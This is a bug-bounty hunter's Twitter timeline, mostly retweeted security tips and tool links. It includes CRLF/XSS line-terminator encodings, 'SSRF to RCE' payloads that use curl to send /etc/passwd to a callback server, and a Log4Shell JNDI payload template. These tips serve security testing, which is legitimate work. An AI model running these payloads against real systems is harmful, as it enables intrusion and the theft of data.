Dipam

Cyber security☣️
Marathoner🏃

[Dipam @virtusleo_]

After working for a long time, finally got my first Hall of Fame🏆 and bounty💸...Thank you everyone for love, support and guidance ❤️🙏
#bugbountytips #bugbounty #hacking

[Dipam @virtusleo_]

check this out ✌🏼

[Anton @therceman]

Bug Bounty Hint

List of line terminators.
Can be used for XSS / CRLF injection.

🔹LF: %0A (\u000A)
🔹VT: %0B (\u000B)
🔹FF: %0C (\u000C)
🔹CR: %0D (\u000D)
🔹CR+LF: %0D%0A (\u000D\u000A)
🔹NEL: %C2%85 (\u0085)
🔹LS: %E2%80%A8 (\u2028)
🔹PS: %E2%80%A9 (\u2029)

Happy Hunting!

[Dipam @virtusleo_]

Nice one @rootxyash
Check out this thread...

[Yash Devkate 🇮🇳 @rootxyash]

A thread for those people who want to do Bug Bounty using Android/mobile like me :)

Retweet and help others <3

[Today Cyber News @TodayCyberNews]

SSRF to RCE

# Testing
`whoami`.collab-url

# Reading internal files
`curl -F '@/etc/passwd' callback.server`.collab-url

# Writing files
`echo test | tee /tmp/test`.collab-url
`curl -F '@/tmp/test' callback.server`.collab-url

#bugbounty #bugbountytips
https://t.co/EFixorNtph

[Dipam @virtusleo_]

My 2022 :

1. Health 💪🏽
2. Family 👨‍👩‍👦‍👦
3. Knowledge 💻
4. Wealth 💵
5. Giving Back ❣️

Happy New Year everyone 🥳

#NewYear2022 #NewYear #NewYearsResolution #holidayseason #2022Goals #2022NewYear

[Dipam @virtusleo_]

@infosecatom @therceman Nice 😂

[Dipam @virtusleo_]

One of the best cheatsheet I got ❤️
Thanks @therceman

#log4j #log4jRCE #log4jshell #hacking #cybersecurity #Hackers #CyberAttack #SecurityBreach

[Florian Roth ⚡️ @cyb3rops]

How to test your apps for #log4shell vulnerability

1. Generate a DNS token https://t.co/vCzVG0O03i
2. Wrap that token in
Prefix: ${jndi:ldap://
Suffix: /a}
3. Use that value in search forms, profile data, settings etc. of your apps
4. Get notified when you triggered a reaction

[Tarun mahour @sratarun]

Find log4rce with difference cases on domains & subdomains.

==> Pastebin:https://t.co/Y5GysxnENV
#log4jRCE @ADITYASHENDE17 @Assass1nmarcos @Alra3ees @rootxharsh @D0rkerDevil

[James Kettle @albinowax]

I've added Log4Shell detection to ActiveScan++. Grab v1.0.23 from here: https://t.co/wbAglT5Uez

[wvu @wvuuuuuuuuuuuuu]

PoC for CVE-2021-44077 fits in one line/tweet.

[Berserk @berserkbd47]

The best article for SQL INJECTION WAF bypass.

https://t.co/SLDCjpAyQC

#bugbountytip

[Emad Shanab - أبو عبد الله @Alra3ees]

Recon Methods:-

Part 1:-
https://t.co/sdiC7pP9TS
Part 2:-
https://t.co/IFMHHcFoGP
Part 3:-
https://t.co/uD6WFcpTLe
Part 4:-
https://t.co/Eco2jqdKyY
Part 5:-
https://t.co/l2xyKMin7w

[Emad Shanab - أبو عبد الله @Alra3ees]

Bug-Bounty-Wordlists: A repository that includes all the important wordlists used while bug hunting. https://t.co/oBm0rwK8Zz

[Emad Shanab - أبو عبد الله @Alra3ees]

OSINT-Tools :- CC @0xElkot
https://t.co/OhpxMd4Ekv
https://t.co/QSpaSH24nV
https://t.co/QsJeFCOSOS
https://t.co/SRtkShQlSj
https://t.co/EwHanPAeZw

[Tarun mahour @sratarun]

Deep subdomain Enumuration using dnsgen,purends,assesfinder

dnsgen: https://t.co/MIwp04gekr
puredns: https://t.co/9AlNesM5lZ
assestfinder: https://t.co/vx9r8mUfQg

@Alra3ees @ADITYASHENDE17 @Assass1nmarcos

[Emad Shanab - أبو عبد الله @Alra3ees]

All you need for Bug-bounty:-
Tools,cheat Sheet,checklist. https://t.co/s7tOwdAcUF

[Anugrah SR 📌| #HackLearnDaily @cyph3r_asr]

Web Attack Cheat Sheet

https://t.co/WdBTqpfOnL

#bugbountytips #bugbounty #infosec

[reмо̷̷иѕec @remonsec]

Thanks @sh1yo_ for this amazing tool 🔥

Hidden parameters discovery suite
https://t.co/Z1b3dPUHsS
#bugbountytips

[reмо̷̷иѕec @remonsec]

I have checked every single page of this repo
Real world scenarios with proper reference

Must give it a look and support author @daffainfo for his excellent work

#bugbountytips #infosec #cybersecurity
https://t.co/paF6LAn7Th